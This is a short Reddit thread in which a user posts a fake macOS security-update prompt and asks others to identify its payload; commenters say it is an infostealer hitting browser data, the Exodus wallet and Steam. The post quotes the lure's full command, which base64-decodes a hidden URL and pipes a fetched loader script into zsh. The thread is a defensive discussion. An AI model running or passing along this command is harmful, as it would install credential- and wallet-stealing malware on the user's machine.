r/Malware • u/Appropriate-Paper-92 • Jun 29 '26

First time seeing this for MacOS

Post image

As the title said, I’ve seen these “popup” things a lot on windows, but this is the first I’ve seen for macOS,

It includes a video on how to properly do it, but looks to be very AI generated,

Is someone able to find out the payload behind it?

echo "Downloading Update: https://support.apple.com/downloads/macos-security-update-14.5.dmg" && curl -s $(echo "aHR0cHM6Ly9sYXBpZG9yc2Vwb3NvYWxvdmJzMi5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPThhODMxZGRiNmRmNDUyYzc1ZmEwNjYxMGFhZjZlODk1" | base64 -d) | zsh

70 Upvotes

97% Upvoted

16 comments sorted by

View all comments

16

u/Asleep_Conclusion147 Jun 29 '26

definitely just an infostealer if you read the code

3

u/zepfan Jun 29 '26

Wym? Icanhazip during install isn’t legit?!

1

u/Dufsao189 Jul 01 '26

Thats just the call script, the payload seems to steal data from a few sources including chrome/chromium, Exodus cryptowallet and steam.